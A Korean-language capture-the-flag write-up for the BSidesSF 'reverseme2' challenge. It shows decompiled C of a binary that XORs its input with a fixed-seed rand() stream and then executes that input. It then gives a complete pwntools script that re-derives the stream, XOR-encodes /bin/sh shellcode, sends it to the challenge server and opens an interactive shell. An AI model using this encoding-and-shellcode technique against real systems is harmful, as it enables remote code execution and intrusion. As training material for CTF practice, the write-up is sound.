1번 문제와 동일한 형태이다.
문자열을 입력받고 세그멘테이션 오류가 발생되면서 종료한다.
소스를 확인하면
int __cdecl main(int argc, const char **argv, const char **envp)
{
ssize_t v4; // [rsp+18h] [rbp-18h]
void *buf; // [rsp+20h] [rbp-10h]
int i; // [rsp+2Ch] [rbp-4h]
buf = mmap(0LL, 0x1000uLL, 7, 34, 0, 0LL);
alarm(0xAu);
setvbuf(stdout, 0LL, 2, 0LL);
setvbuf(stderr, 0LL, 2, 0LL);
srand(0x13371337u);
puts("Send me (encoded) x64!!");
v4 = read(0, buf, 0x1000uLL);
if ( v4 < 0 )
{
puts("Error reading!");
exit(1);
}
for ( i = 0; v4 > i; ++i )
*(buf + i) ^= rand() >> 3;
(buf)(0LL, buf);
return 0;
}
1번 문제와 유일하게 다른 부분은 입력받은 값을 rand()
의 결과를 쉬프트한 값과 XOR한다는 것이다.
하지만 srand
로 0x13371337
씨드를 전달하기 때문에, 같은 씨드값으로 랜덤값을 생성하여 문제에서 XOR에 사용된 값을 알아낼 수 있다.
from pwn import *
from ctypes import *
libc = '/lib/x86_64-linux-gnu/libc-2.19.so'
funcs = CDLL(libc)
context.update(log_level = 'debug', arch='amd64', os='linux')
#p = process('reverseme2')
p = remote('reverseme2-24b392b5.challenges.bsidessf.net', 1339)
p.recvline()
shellcode = asm(shellcraft.amd64.linux.sh())
xor_code=''
funcs.srand(0x13371337)
for x in shellcode:
tp = int(x.encode('hex'), 16)
xor_code += chr(tp ^ ((funcs.rand() >>3)&0xff))
print xor_code
p.sendline(xor_code)
p.interactive()
코드를 실행하면 쉘코드가 실행되어 플래그를 읽을 수 있다.